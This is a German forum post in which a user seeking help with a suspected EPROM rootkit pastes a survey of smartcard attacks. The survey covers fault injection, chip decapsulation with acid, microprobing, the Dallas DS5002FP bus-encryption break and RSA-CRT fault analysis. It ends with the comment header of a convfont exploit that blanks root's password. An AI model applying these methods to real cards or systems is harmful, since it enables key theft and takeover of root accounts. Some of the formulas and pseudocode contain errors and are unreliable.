Anzeige:
Ergebnis 1 bis 7 von 7

Thema: rootkit im eprom

  1. #1
    Registrierter Benutzer
    Registriert seit
    Aug 2002
    Beiträge
    8

    rootkit im eprom

    hallo

    wer kann mir bitte helfen, seit ca 2 monaten bin ich an diesem probel, doch heute fand ich ne datei der hackers und kopiere sie hier mit dem exploit

    sorry dass ich den exlpoit veröffentliche, aber anders kann mir niemad helfen
    danke

    newbye

    danke

    Non-invasive attacks

    Welche Bestandteile beinhaltet die Chipkarte?

    Wie wir bereits in der Chipkartentechnikseite (lokal) beschrieben haben, besteht eine typische Chipkarte aus einem 8 Bit Mikroprozessor mit einem ROM, EEPROM und RAM. Dabei sind die Schlüsseldaten im EEPROM abgelegt.

    Wie wird nun eine Speicherzelle gelöscht?

    Für das Löschen einer Speicherzelle ist eine relativ hohe Spannung notwendig. Fehlt diese Spannung beim programmieren (z. B. Unterbrechung), dann werden die Daten im Speicher nicht gelöscht. Die alten Chipkarten erhielten die notwendige Programmierspannung über einen speziellen Anschluss vom Host. Diese Schwäche wurde jedoch von Hackern genutzt, um z. B. beim PayTV den Chip bei der Initialisierung der Kanäle zu
    manipulieren. Dabei wurde einfach der Anschluss der Programmierspannung durch Abkleben oder Einbau einer Diode im Decoder zum Chip isoliert. Dieser Fehler wurde jedoch erkannt und die neuen Karten generieren heute die benötigte Programmierspannung von 12V aus der normalen Versorgungsspannung von 5V. Die geschieht mit einem Oszillator und einem Dioden/Kondensatornetzwerk die auf der Chipkarte enthalten sind. Dies erschwärt den Angriff enorm, der nur noch mit speziellen Geräten (Laser, Ultraschall, gebündelter Ionenstrahl) durchgeführt werden kann. Non-invasive attacks

    Physical attacks

    Wie läuft diese Form des Angriffs ab?

    Der EEPROM einer Chipkarte reagiert empfindlich auf ungewöhnliche Temperaturen und Spannungen während des Beschreibens (z. B. der PIC16C84 Mikrokontroller). So kann unter anderem das wiederholte Schreiben auf das Sicherheitsbit durch langsames absenken der VCC zur VPP - 0.5V dieses zurücksetzen, ohne die Daten zu löschen.

    Beim Sicherheitsprozessor DS5000 kann ein kleiner Abfall der Spannung zum Zurücksetzen des Sicherheitsbits führen, ohne die Daten zu löschen.

    Aus diesem Gründen haben einige Sicherheitsprozessoren Sensoren die einen Reset auslösen, falls die Spannung sinkt oder andere Umgebungseinstellungen nicht in Ordnung sind. Jedoch führt
    jeder Sensor zu einem Rückgang der Robustheit. Zum Beispiel gibt es ein Smartcard Prozessorfamilie welche einen Sensor für zu geringen Prozessortakt besitzen. Dadurch soll ein Einzelschrittangriff verhindern werden. Da jedoch durch das Ein- und Ausschalten der Karte die Frequenzen instabil sind, bis sich die Schaltkreise stabilisiert haben, kam es immer wieder zu Fehlalarmen. Daraufhin wurde dieses Feature vom Betriebssystem nicht mehr ausgenützt. Es liegt nun in der Hand des Anwendungsprogrammierers ob er dieses Sicherheit wieder implementiert. Da auch einige von den Programmieren die Zuverlässigkeit nicht gefährden wollten, gibt es viele Karten die den Einzelschrittmodus straflos zulassen.

    Aus ähnlichen Gründen wurden die Unter- und Überspannungssenoren so konstruiert, dass sie bei sehr
    schnellen Spannungsschwankungen nicht ansprechen. Deshalb können schnelle Signale von verschiedener Art die Schutzmechanismen übergehen, ohne das die geschützten Daten zerstört werden. Diese Art der
    Angriffe sind bekannt für eine große Anzahl von Geräten.

    Schnelle Spannungs- und Taktänderungen können ebenso bei einigen Prozessoren genützt werden um einzelne Befehle decodieren zu können. Jeder Transistor und seine Anschlüsse erscheinen nach außen, wie ein RC Element mit einer charakteristischen Zeitverzögerung. Der maximal mögliche Takt ist durch das Element bestimmt, das die längste Verzögerung aufweist. In ähnlicher Weise hat jedes Flipflop ein Zeitfenster (einige Picosekunden) in dem es die Eingangsspannung sammelt und den Ausgang entsprechend schaltet. Dieses Fenster ist durch seinen internen Aufbau bestimmt. Die Größe des Fensters ist bleibt jedoch für ein Gerät bei einer bestimmten Temperatur und einer gegebenen Spannung immer gleich.

    Wird nun ein viel kürzerer Taktpuls als der normale oder eine sich sehr schnell ändernde Eingangsspannung angelegt, so betrifft dies nur die Transistoren innerhalb des Prozessors. Durch Veränderung der Parameter werden vom dem Prozessor eine Vielzahl von verschiedenen, unterschiedlichen Befehlen ausgeführt. Dies können auch Befehle sein, welchen vom Mikroprogramm nicht unterstützt werden. Obwohl man die
    Eigenschaften des jeweils ausgeführten Befehls nicht kennt, kann man relativ einfach eine systematische Suche ausführen.

    Eine typische Prozedur innerhalb eines Sicherheitsprozessors ist eine Schleife, welche den begrenzten Inhalt eines Speichers auf den seriellen Port ausgibt:

    1. b = answer_address
    2. a = answer_length
    3. if (a == 0) goto 8
    4. trnasmit (*b)
    5. b = b + 1
    6. a = a - 1
    7. goto 3
    8. ...

    Man kann nun nach einer Eingangseinstellung suchen bei der der Programmzeiger wie gewöhnlich erhöht wird, und der Befehl in Zeile 3 ausführt oder die Schleifenvariable in Zeile 6 zu einem beliebigen Wert erniedrigt.

    Die richtige Eingangseinstellung finden bedeutet, das diese exakt wiederholt werden können. D.h. alle Signale die gesendet und empfangen werden, müssen zeitlich exakt nach dem Reset eines Tests ausgeführt werden. Es wird solange getestet, bis ein Byte an den Ausgang gesendet wird. Die Wiederholung mit denselben Einstellungen führt dazu, dass der gesamte Speicher ausgegeben wird. Wenn man Glück hat befindet sich der gesuchte Schlüssel darin.

    Ausgabeschleifen sind nicht die einzigen Angriffsziele. Andere prüfen Passwörter, Zugriffsrechte und Protokollantworten, bei denen eine Veränderung einer einzelnen Anweisung den gesamten Schutz zusammenbrechen lässt. Physical attacks

    Advanved attacks techniques

    Wie läuft diese Form des Angriffs ab?

    Physikalische Attacken auf Mikrokontroller sind meistens einfach. Zum Beispiel kann das Sicherheitsbit auf einigen Geräten mit EPROM, mittels UV Licht das auf die Sicherheitsbitzelle gerichtet wird, zurückgesetzt werden. Voraussetzung ist hierfür ein genügend großer Abstand der Zelle vom Rest des Speichers.

    Aktuelle Smartcards sind schwieriger anzugreifen, jedoch nicht viel schwieriger. Sie haben generell nur einen leichten Schutz um den direkten Zugriff auf das Silizium zu verhindern. Ein Manager einer Herstellerfirma behauptete, dass von den Kunden keine Nachfrage nach verbesserten Methoden besteht. Deswegen sind meistens nur ein kapazitiver- oder ein optischer Sensor, der das Vorhandensein der Schutzschicht überprüft, vorhanden. Die vorher besprochenen Nachteile die durch zusätzliche Sensoren entstehen in Bezug auf die Zuverlässigkeit, veranlasst einige Programmierer auf diese Features zu verzichten. Falls diese jedoch implementiert sind, so können die Sensoren relativ leicht gefunden und übergangen werden.

    Der typische Chipmodul besteht aus einer dünnen Kunststoffschicht auf der beidseitig auf einem
    Quadratzentimeter die Kontakte angebracht sind. Die auf der fertigen Karte sichtbare Seite schließt den Kontakt mit dem Kartenleser, die andere Seite ist mittels dünner Aluminium- oder Golddrähten mit der Siliziumschicht verbunden. Die Chipseite ist mit einer Epoxyd-Harz bedeckt. Dieses Chipmodul wird schließlich in die Karte eingegossen welche durch entsprechende ISO Normen festgelegt sind.

    Den Chip zu entfernen ist leicht. Zuerst mit einem scharfen Messer die hintere Chipabdeckung aus Kunststoff solange entfernen, bis die Epoxyd-Harz sichtbar wird. Danach einige Tropfen von Salpetersäure ("fuming nitric acid", >98% HNO3) auf das Harz aufgetragen. Danach einige Minuten warten bis das Harz sich aufzulösen beginnt. Der Prozess kann beschleunigt werden, indem die Säure mit einem Infrarotstrahler angewärmt wird.
    Bevor zuviel Harz aufgelöst wird und der Rest angegriffen wird, die Karte in einem Azeton Bad von dem restlichen Harz und der Salpetersäure befreien. Diese Prozedur wird fünf bis zehnmal wiederholt, bis die Siliziumoberfläche freigelegt ist. Der Chip kann dann gewaschen werden und ist noch voll funktionsfähig,
    außer einer der Anschlussdrähte wurde beschädigt.

    Funktionstest mit Pay-TV Karten und vorausbezahlte Telefonkarten haben gezeigt, dass die EEPROM-Inhalte durch die Säure nicht beschädigt wurden. Es sind keine höheren Chemiekenntnisse als die des Chemieunterrichts notwendig. Die Ausrüstung ist leicht zu bekommen. Einige Studenten haben diesen Versuch bereits erfolgreich wiederholt. Salpetersäure ist eine aggressive Säure. Sie muss mit großer Vorsicht
    verwendet werden. Vor allem wenn gleichzeitig mit leicht entzündlichen Materialien wie mit Azeton hantiert wird. Es greift jedoch nicht die Silizium oder Goldoberflächen des Chips an. Die Aluminiumflächen oxidieren lediglich leicht. Das Azeton ist ebenfalls geeignet, da es bereits bei der Herstellung der Chip zum Reinigen der
    Oberflächen verwendet wird.

    Es gibt auch kommerzielle Maschinen, die die Chips von ihrer Oberfläche mit einem HNO3 Dampfstrahl befreien können. Dieser Strahl entfernt nicht nur die Abdeckung sondern gleichzeitig die Lösungsreste. Durch diese Methode werden die Abdeckschichten besser entfernt, jedoch verbrauchen die Maschine eine große Menge an Säure und müssen nach dem Gebrauch gesäubert werden. Deshalb werden die Chips sogar in professionellen Labors nach der zuerst geschilderten Methode extrahiert, solange es sich nur um ein paar Exemplare handelt.

    Die meisten Chips besitzen eine Schicht aus "silicon nitride" (Siliziumnitrid) oder einer "silicon dioxid" (Siliziumdioxid). Diese schützt das Silizium vor Umwelteinflüssen und dem Wandern von Ionen. Diese Schicht wird nicht von der Salpetersäure angegriffen. Labors zur Chipanalyse benutzen deswegen das Verfahren "dry etching with hydrogen fluoride" (trockenes ätzen mit Fluorwasserstoff). Dies ist ein Verfahren, das von Amateuren nicht leicht nachvollzogen werden kann und auch sehr gefährlich ist (Durchdringt rasch die Haut und verursacht tiefe, schlecht heilende Gewebszerstörungen). Dazu wird das trockene Fluorwasserstoffgas auf die Beschichtung des Chips geblasen. Dort verbindet es sich mit Feuchtigkeit zur ätzenden Fluorwasserstoffsäure (Flußsäure) und wandelt das feste Siliziumdioxid zum gasförmigen Siliziumtetrafluorid um (SiO2 + 2HF <=> SiF4 + 2H2O). Dabei wird mit einem hohen Überschuss an hydrophilen Fluorwasserstoffgas gearbeitet, um entstehendes Wasser dem Gleichgewicht zu entziehen und entstehendes
    Siliziumtetrafluorid zu entfernen. (01.03.2002 - Vielen Dank an 'Sunny' aus München für die Erweiterungen)

    Jedoch ist "dry etching" nicht die einzige Methode. Mit "microprobing needles" kann die Schicht an einer Stelle unter der Nadel mittels Ultraschall entfernt werden. Mit "laser cutter microscopes", die in Zellbiologielabors im Einsatz sind, kann die Schicht ebenfalls lokal entfernt werden. Einige Testlabors besitzen eine Konfigurationen von neun "microprobing needles". Mit diesen kann der Kartenbus in Echtzeit ausgelesen werden.

    Bevor mit "electron beam tester" gearbeitet werden kann Es ist üblich die Schutzschicht zu entfernen. Da ansonsten Elektronen von der Schicht emittiert werden, die sie dadurch positiv geladen wird und deshalb die Signale auf dem Chip nach wenigen Sekunden überdeckt würden. Nun könnte man denken, dass nur nach
    "dry etching" mit dem "electron beam tester" gearbeitet werden kann. Versuche haben jedoch gezeigt, dass wenn sich noch Reste der Salpetersäure und des Harzes auf der Oberfläche befinden, das Problem nicht ganz so ernst ist. Vermutlich sind diese Rückstände schwach leitend. Deshalb wurde vorgeschlagen, eine Schicht mit passender Leitfähigkeit auf den Chip aufzutragen, um den Ladungsaufbau verhindern zu können.
    Advanced attacks techniques

    Key attacks

    Wie läuft diese Form des Angriffs ab?

    Die oben genannten Methoden wurden von Angreifern erfolgreich durchgeführt. Es folgt eine Beschreibung fortgeschrittenen Techniken, welche in professionell ausgestatteten Labors angewendet wird. Von diesen Labors gibt es paar hundert auf der Welt. Einige von befinden sich in Universitäten (z.B. drei in GB). Dadurch kann es passieren, dass auch normale Angreifer Zugriff auf professionelle Maschinen bekommen.

    Es gibt viele Methoden um ein "reverse engineering" durchzuführen. Es wurde ein Verfahren entwickelt, mit dessen die Schutzschicht in einem Arbeitsgang entfernt werden kann. Danach wird ein dünner Film aus Palladium oder Gold aufgebracht. Dieser Film bildet mit dem Siliziummaterial aufgrund des Schottkyeffekts, je nach Dotierung des Untergrunds eine Diode. Diese Dioden können mit den "electron beam tester" erkannt werden. Nach und nach werden die verschiedenen Schichten des Siliziums in einen Computer eingelesen. Dieser kann dann mittels Software das Abbild des Chips mit all seinen Eigenschaften darstellen.

    Dieses Verfahren wurde an einen Intel 80386 und einer Anzahl anderer Geräte getestet. Um ein "reverse engineering" am 80386 durchzuführen wurden zwei Wochen, sowie sechs Prozessoren benötigt. Die Ausgabe kann als Maske, Stromplan oder einer Liste der "libary cells", aus dem der Chip besteht, erfolgen.

    Ist das Layout des Chips bekannt, dann gibt es eine extrem weit entwickelte Technologie von IBM um diesen Chip während der Ausführung zu Analysieren. Dazu muss die Schutzschicht nicht entfernt werden. Ein Tester platziert ein Kristall aus "lithium niobate" über der Einheit die beobachtet werden soll. Die Brechungszahl dieser Substanz verändert sich je nach der Stärke des angelegten elektrischen Feldes. Mit einem Ultraviolettlaser der durch das Kristall gesendet wird, kann das Potential das darunterliegenden Siliziums gemessen werden. Dieses System kann bei 5 Volt bis 25Mhz eingesetzt werden. Dieses Verfahren kann
    als Standardverfahren angesehen werden, das professionellen Labors angewendet wird um Schlüssel zu finden. Sollte eine Smartcard angegriffen werden, so müsste die EEPROM Ausgangsverstärker abgetastet werden.

    Als Antwort der Chiphersteller wurden nicht die Undurchsichtigkeit oder die Leitfähigkeit des Materials
    verstärkt, sondern die Verbindung des Deckmaterials mit dem Silizium. Wird das Material entfernt, so wird dabei das Silizium mit zerstört. Die Material ist beim US Militär im Einsatz, jedoch nicht allgemein zugänglich.

    Zusätzlich zum besseren Mantel wurde die Chipstruktur verändert. So scheint ein einfache Verbindung ein Transistor zu sein, oder ein NOR mit drei Eingängen arbeitet als NOR mit zwei Eingängen. Jedoch sind Sie nach dem "layer etching" mit der Schottky-Methode zu erkennen.

    Eine andere Möglichkeit ist die Komplexität des Chips zu erhöhen und keine Standardbibliotheken beim Design zu verwenden. Jedoch muss der Chip auch noch funktionieren und die nicht standardisierten Bibliotheken können von der Erkennungssoftware auf "gate level" erkannt und vereinigt werden.

    Ein Versuch mit mehr System wurde von der US Regierung gestartet. Daraus entstand der Clipper Chip. Dieser besitzt ein brennbares Verbindungssystem. Durch die Verbindungen kann ein Verschlüsselungsalgorithmus, sowie ein langer Geräteschlüssel nach der Fertigung eingebrannt werden. Das Material besteht aus amorphen Silizium um das Mikroskopieren zu erschweren. Außerdem wurde das Material mit einer Vielzahl ("salted") von
    Oszillatoren versehen die einen Angriff mit elektronischen Sensoren erschweren sollen.

    Es ist aber bekannt, dass mindestens ein Chiphersteller diesen Chip bereits kurz nach seinem Erscheinen "reverse engineered" hat. Diese Attacke die den Clipper Chip in Verruf brachte benutzte weniger die physikalischen Methoden sondern mehr Protokollfehler. Darauf wird später zurückgekommen.

    Eine andere Methode des "reverse engineering" wird mit einem Infrarotlaser durchgeführt. Dabei wird die Wellenlänge so gewählt, dass das Silizium dafür durchscheinend wird. Dadurch ist es möglich den individuellen Zustand eines Transistors festzustellen.

    Es ist bekannt, dass aktive Angreifer auf Kryprosysteme oder Algorithmen erfolgreicher sind als passive. Für "reverse engineering" kann die derselbe Folgerung gezogen werden.

    Unter aktives "reverse engineering" wird zum Beispiel die Verwendung eines "focussed ion beam workstation" (IOB) verstanden der von Pay-TV Angreifern angewendet wurde. Diese Maschine kann Verbindungen im "metallisations layer" trennen und neue im "isolation layer" anlegen. Außerdem kann es das Silizium dotieren und Verbindungen zu den tiefsten Schichten des Siliziums anlegen. Diese Anlagen kosten mehrere Millionen
    Dollar, sie werden jedoch von den Halbleiterherstellern auch vermietet.

    Mit einem solchen Maschine bewaffnet wird der Angriff auf eine Smartcard einfacher und effektiver. Bei einer typischen Attacke werden die meisten Verbindungen zwischen der CPU und den Systembus getrennt. Nur die Verbindungen des EEPROM und die Einheit der CPU ,die den Schreibzugriff steuert bleiben angeschlossen. Zum Beispiel wird der Programmzähler so angeschlossen, dass auf den Speicher im Systemtakt ausgelesen
    werden kann. Wurde dies ausgeführt kann das EEPROM mit "microprobing needle" oder einer "electro-optical probe" ausgelesen werden.

    The Dallas DS5002FP Secure Microcontroller

    Man möchte die Chips so klein als möglich machen, da durch die hermetische Abdichtung der Stromverbrauch begrenzt wird, und größere Montagen anfälliger für Fehler sind. Außerdem spielen die Herstellungskosten eine Rolle.

    Viele Anwendungen brauchen mehr RAM als auf den Chip passen. Eine etablierte Technik ist die Busverschlüsselung. Dabei beinhaltet die CPU Hardware die in Echtzeit ("on the fly") die externe Adresse und den Datenbus Verschlüsseln kann. Externer RAM beinhaltet nur verschlüsselte Daten an verschlüsselten
    Adressen. Der geheime Schlüssel ist in einem Batterie gepufferten Register in der CPU gespeichert.

    Der Dallas Semiconductor DS5002FP Mikrokontroller benutzt diese Busverschlüsselungsstrategie. Dieser dem Intel 8051 kompatible Prozessor wird in einer Anzahl von Geldterminals und Pay-TV Zugangsdecodern zum Speichern von privaten Schlüsseln und geheimen Verschlüsselungsalgorithmen verwendet. Die im Chip
    integrierte Firmware ermöglicht es den Anwendern unverschlüsselte Software zu installieren. Diese Software wird im externen Speicher aufbewahrt. Der Schlüssel ist einmalig für jede Karte. Die Karte besitzt einen Selbstzerstörungsanschluß der es erlaubt von Extern den Schlüssel zu löschen. Eine SpezialausführungBreaking des Dallas Chips (DS5002FPM) besitzt eine Metallschicht um Angriffe von "microprobe" abzuhalten.

    In Bezug auf die Bedienungsanleitung ist diese Metallschicht ein "komplexer Schicht, verflochtener Drähte mit Strom- und Erdungsanschluss und in Wechselwirkung mit der Verschlüsselung- und Sicherheitslogik. Deswegen ist jeder Versuch diese Schicht zu entfernen oder mit einer Probe sie zu durchdringen mit dem Löschen der Sicherheitsverriegelung, oder dem Verlust der Verschlüsselungsbits verbunden." Zusätzliche
    Sicherheit ist durch zufällige Dummy-Zugriffe gegeben die auf dem externen Speicherzugreifen. Außerdem werden bei Zugriffen auf 48 Bytes die den Reset- und Interruptvektor enthalten und sich auf dem Chip befinden, Dummy-Zugriffe auf den externen Speicher ausgeführt. Dies soll Verwirrung stiften, da nicht erkannt wird, wann auf den internen Speicher zugegriffen wird.

    Die Sicherheitsmerkmale sind auf den ersten Blick sehr beeindruckend und der Hersteller beschreibt ihn als "the most sophisticated security features available in any microcontroller".

    Der Chip benützt zwei Algorithmen welchen frei nach DES modelliert sind. Der erste verschlüsselt Adressen und arbeitet auf 15 Bit Blöcken. Der zweite verschlüsselt Daten und arbeitet auf 8 Bit Blöcken. Der Schlüssel des zweiten Algorithmus ist "salted" mit der Adresse des Bytes das verschlüsselt wird. Seine kleine Blockgröße, die ohne Zweifel durch die Byteorientierung des Kontrollers gegeben ist, macht ihn zum Ziel der Angreifer.

    Bei näherer Untersuchung zeigt der Algorithmus eine statistische Anfälligkeit, die es erlaubt den Schlüssel
    mittels DFA zu ermitteln. Warum dies so ist wurde noch nicht ermittelt. Auf jeden Fall gibt es hierfür eine ökonomischen Grund. Je mehr Runden zur Verschlüsselung aufgewendet werden, desto größer muss der Takt Busverschlüsselungssystem das unabhängig von der Qualität des Verschlüsselungsalgorithmus ist.

    Breaking the Dallas chip

    Es wurde ein Verfahren entwickelt und erfolgreich (Kuhn) getestet, dass die Geheimnisse einiger Pay-TV Systeme preisgibt. Außerdem wurde ein Schüssel ermittelt, der von der German Federal Agency for Information Technology Security (BSI) ausgegeben wurde und als Wettbewerb von der ausgeschrieben war. Dieser Angriff benötigte einen normalen PC, eine spezielles Ein/Auslesegerät, das aus Standardelektronik für weniger als
    US$100 gebaut wurde, und einem Logikanalyser für weniger als US$200. Es wurde in einem Studentenlabor der Universität Erlangen-Nürnberg ausgeführt. Dabei wurden nur übliche Laboreinrichtungen benutzt. Für den Hardware- und Softwareentwurf und deren Implementierung wurden weniger als 3 Monate gebraucht. Nach den Maßstäben von IBM war dies ein Angriff von Class I Gegnern.

    Die Idee des Angriffs ist einfach. Sie wurde jedoch von den Entwicklern und Testern des Chips nicht bedacht. Sie wurde "cipher instruction search attack" genannt. Es werden dabei dem Prozessor passend gewählte verschlüsselte Befehle eingegeben und danach überprüft welche unverschlüsselte Befehle aus den
    Auswirkungen der eingebenen Befehle abgeleitet werden können.

    Zum Beispiel:

    MOV 90h, #42h

    entspricht den Hexziffern 75h 90h 42h. Als Ergebnis wird der Wert 42h auf dem parallelen Port (Adresse 90h) zwei Buszugriffe später ausgeben.

    Es wird nun die CPU zurückgesetzt und gewartet bis der angelegte Befehl abgeholt wird. Danach beobachtet die Kontrollsoftware ein paar Takte lang die Reaktion des Prozessors. Danach wird die Prozedur wiederholt. Es kann mit ca. 300 Wiederholungen pro Sekunde die 216 Eingabekombinationen getestet werden.

    Es kann dann zufällige Kombination von zwei Byte auftauchen, bei der das nachfolgende dritte Byte auf den Parallelport über eine bijektive Funktion ausgegeben wird. Es kann nun nach weiteren Tests angenommen werden, dass die zwei ersten Bytes die verschlüsselten Form von 75h und 90h sind. Dadurch kann die Datenbusverschlüsselung des dritten Bytes für eine unbekannte spezifische Adresse ermittelt werden. Es werden einfach alle 28 Kombinationen des Datenbytes eingeben und die verschlüsselten Werte für einen Speicherplatz in einer Tabelle vermerkt.

    Nun wird der Prozess wiederholt, aber mit dem Ziel einen Befehl zu finden der dem "no-operation-command" (NOP) entspricht und von demselben Move-Befehl wie oben gefolgt wird. Dies hat die Folge, dass die Adresse des dritten Move-Befehlsbyte um ein 1 erhöht wird.

    Obwohl nun eine Kombination von vier Byte gesucht wird, erhöht sich die Komplexität nicht. Da die Stelle an der das Byte "90h" steht mittels der vorher ermittelten Tabelle korrekt verschlüsselt werden kann, reduziert sich das Problem wieder auf drei Byte bzw. zwei Byte. Das Byte das gesucht wird muss nicht unbedingt ein NOP-Befehl sein. Es genügt einfach eine Sequenz welche sich auf den nachfolgenden Move-Befehl nicht
    auswirkt. Dadurch werden weniger als 216 Suchschritte benötigt. In der Regel reichen für den zweiten Suchdurchlauf ca. 2500 Schritte aus.

    Dieser Suchprozess wird stetig schneller je mehr Adressen in die Tabelle aufgenommen wurden. Dadurch kann schnell die Verschlüsselungsfunktion von unbekannten, aufeinanderfolgenden Adressen bestimmt werden. Es wird dadurch möglich Befehle zu verschlüsseln und dem Prozessor zu schicken. Mit diesen Befehlen kann auf einfache Weise der Speicher und die Register zu einem der Ein/Ausgabeports geschrieben werden.

    Dieser Angriff ist in Wirklichkeit schwieriger als oben beschrieben. Jedoch muss betont werden, dass ein Class I Angreifer die Schutzmaßnahmen eines der besten Prozessoren umgehen konnte, mit einem relativ geringen Aufwand.
    Key attacks

    Quellen

    Was ist das Ziel der Differentiellen Fehleranalyse?

    Im allgemeinen sind nicht die kryptografischen Algorithmen als geknackt zu bezeichnen, sondern die individuellen Implementierungen dieser Algorithmen. Gute Beispiele sind dafür zwei berühmte Angriffe auf das im Netscape-Browser enthaltene SSL-Sicherheitsprotokoll. Der erste Angriff basierte auf die zu geringe Schlüssellänge, der zweite auf einen schlampig implementierten Zufallsgenerator. Ziel der Attacke mittels DFA
    ist nicht der eigentliche kryptographische Algorithmus oder ein Implementierungsfehler, sondern eine korrekte Implementierung.

    Welche Hardwaremodule sind durch DFA bedroht?

    Grundsätzlich können alle zur Berechnung kryptographischer Algorithmen eingesetzten Hardwaremodule betroffen sein. Erhöhtes Risiko besteht in jenen Fällen, wo der Angreifer im Besitz eines oder mehrerer zu untersuchenden Hardwaremodule ist. Betroffen sind folglich insbesondere Smart Cards, PCMCIA-Karten, eigenständig verschlüsselnde Kartenlesegeräte, Verschlüsselungskarten bzw. - Prozessoren , u.s.w.

    Welche kryptographische Verfahren sind durch DFA bedroht?

    Asymmetrische (public key) Kryptoverfahren (siehe auch Hash-
    und Schlüsselalgorithmen)

    - RSA (Rivest-Shamir-Adlemann-Verfahren)
    - Faktorisierung großer Integerzahlen
    - RSA mit CRT (Chinese Remainder Theorem)
    - Beschleunigung mit dem Chinesischen Restsatz
    - Fiat-Feige-Shamir-Identifikationsverfahren
    - Modulares Quadratwurzelproblem
    - Schnorr-Identifikationsverfahren
    - Diskretes Logarithmusproblem

    Symmetrische (secret key) Kryptoverfahren (siehe auch Hash- und Schlüsselalgorithmen)

    - DES (Data Encryption Standard)
    - Tripple-DES
    - IDEA

    Unbekannte Kryptoverfahren

    - Reverse Engineering

    Differentielle Fehleranalyse und RSA

    Die ersten von den Bellcore-Forschern Dan Boneh, Richard Lipton und Richard DeMillo haben ein "known plaintext attack" gegen RSA durchgeführt, d.h. sie haben den Schlüsseltext und den dazugehörigen Klartext verwendet, um den Schlüssel zu ermitteln.

    Sie unterschrieben zunächst einen vorgegebenen Text mit dem RSA-Signatur-Verfahren. Anschließend wiederholten sie die Prozedur, wobei sie durch physikalische Einwirkung einen Fehlerhaften Unterschrift produziert haben. Durch Vergleich des korrekt unterschriebenen Textes mit dem gestört unterschriebenen Text konnten sie mit einem mathematischen Modell direkt Rückschlüsse auf den RSA-Schlüssel ziehen.

    Dieser Ansatz hat neue Experimente in dieser Richtung nach sich gezogen. Es folgten dann Verbesserungen insbesondere von Arje Lenstra, von Biham und Shamir, sowie von Anderson und Kuhn.

    Arje Lenstra ist nicht nur promovierter Mathematiker und einer der führenden Faktorisierungsforscher, sondern auch Gründer der US-Hackervereinigung "digicrime" (http://www.digicrime.com).
    Lenstra hat gezeigt, dass durch eine einzige fehlerhafte RSA-Unterschrift mit hoher Wahrscheinlichkeit der RSA-Modulus faktorisiert und damit beliebige Nachrichten gefälscht werden können. Damit ist aus der Differentiellen Fehleranalyse ein "cyphertext only attack" geworden. Bei solchen Angriffen ist nur der Schlüsseltext bekannt und daraus wird der Klartext oder idealerweise der Schlüssel ermittelt.

    Differentielle Fehleranalyse und RSA mit CRT

    Es reicht eine einzige fehlerhafte RSA-Unterschrift besonders dann, wenn bei der Berechnung der codierten Nachricht das Verfahren des sogenannten Chinesischen Restsatzes angewendet wird.

    Implementierungen des RSA-Algorithmus mit CRT sind besonders empfindlich auf die Differentielle Fehleranalyse, deswegen lohnt sich an dieser Stelle einige mathematische Zusammenhänge und konkrete Implementierungsprobleme zu beleuchten.

    RSA-Algorithmus

    Bezeichnungen:

    M - zu unterschreibende Nachricht

    E - RSA-Signatur

    N - RSA-Modulus (öffentlich bekannt)

    p, q - Primfaktoren von N (N = p * q)

    e - öffentlicher Schlüssel

    d - geheimer Schlüssel

    Zur Signatur der Nachricht M wird M mit dem geheimen Schlüssel d potenziert:

    E = M^d mod N

    Programmiertechnisch wird diese Potenzierung durch sukzessive Multiplikationen und Quadrierungen implementiert:

    "square-and-multiply"

    s[0] := 1;

    (* sei d der geheime Schlüssel mit Bitlänge w *)

    FOR k = 0 TO w-1 DO

    BEGIN

    IF (k.Bit von d) = 1

    THEN

    r[k] = (s[k] * m) mod n; (* Multipliziere *)

    ELSE

    r[k] = s[k] mod n; (* Multipliziere nicht *)

    s[k+1] = SQR (r[k2]) mod n (* Quadriere *)

    END;

    ModularExp := r[w-1]; (* Ergebnis *)

    Diese modulare Exponentiation ist der zeitaufwendigste Teil beim RSA-Verfahren.

    Beschleunigung mit dem Chinesischen Restsatz

    Mit der Verwendung des Chinesischen Restsatzes wird die Berechnung der modularen Exponentiation beschleunigt und wird Speicherplatz gespart. Dies ist für Chipkarten mit beschränktem Speicherplatz von ganz besonderem Vorteil. Die Signaturzeit wird nach Angaben der Hersteller mindestens halbiert. (Rein mathematisch betrachtet kann der Beschleunigungsfaktor sogar im Bereich von 4 liegen.)

    Es seien p und q die beiden Primfaktoren des Modulus N:

    N = p * q

    Nach dem Chinesischen Restsatz existieren a und b mit

    a = 1 mod p und a = 0 mod q bzw.

    b = 0 mod p und b = 1 mod q

    Diese Zahlen a und b müssen nur einmal bestimmt und können im voraus berechnet werden.

    Die modulare Exponentiation

    E = M^d mod N

    wird in zwei einfachere Potenzierungen zerlegt:

    Ep := M^b mod p

    Eq := M^d mod q

    Nun ergibt die einfache Linearkombination

    E := (a Ep + b Eq) mod N

    eine gültige Signatur.

    Mathematisches Modell der Differentiellen Fehleranalyse

    Gehen wir nun davon aus, dass sich ein beliebiger Bitfehler entweder bei der Berechnung von Ep oder von Eq ereignet. Dies ist eine sehr realistische Annahme, weil die Berechnungen von Ep und Eq der zeitlich aufwendigste Teil des Signaturverfahrens sind.

    Boneh, DeMillo und Lipton zeigten, dass dann eine korrekte und eine fehlerhafte Unterschrift ausreichen, um N mit sehr hoher Wahrscheinlichkeit zu faktorisieren.

    Es sei

    E die korrekte Unterschrift und

    F die fehlerhafte Unterschrift.

    Ferner gelte für die fehlerhafte Unterschrift F:

    F = E mod q und F <> E mod p

    Somit gilt

    E - F = a (Ep - Fp)

    Falls nun (E - F) kein Vielfaches von N ist , folgt dann für den Größten Gemeinsamen Teiler

    GGT (E-F, N) = q

    Nach der Verbesserung von Arje Lenstra reicht eine einzige fehlerhafte Unterschrift F.

    Mit dem obigen Bezeichnung gilt für den höchst wahrscheinlichen Fall, dass N kein Teiler von (M - Fe) ist,

    GGT ( M-Fe, N ) = q

    wobei e der zur Überprüfung der Signatur benötigte öffentliche Schlüssel ist.

    Somit ist N faktorisiert worden. Der Aufwand hierzu ist mit einer Potenzierung mit dem öffentlichen Schlüssel, einer Addition und einer GGT-Bildung unglaublich gering.

    Der geheime Schlüssel d ist anschließend leicht bestimmbar. Dabei wird ein möglicher Angreifer durch das Verifizieren der Unterschrift direkt auf den Fehler aufmerksam gemacht.

    Der qualitative Unterschied dieser Attacke im Vergleich zu anderen DFA-Angriffen besteht darin, dass der Angreifer in diesem Fall nicht im Besitz einer Karte sein muss, um dann in aller Ruhe offline die benötigten Experimente durchführen zu können.


    hier der convont exploit :
    **********************************
    Code:
    # Gday. This is a small exploit written in csh that uses the bug in 
    # convfont where it runs as uid 0. convfont loads in a file and reorders it 
    # to form a fontfile. It is possible to define the output of the program.
    
    # This script creates new password (and shadow if neccessary) files, giving 
    # the root user no password.
    
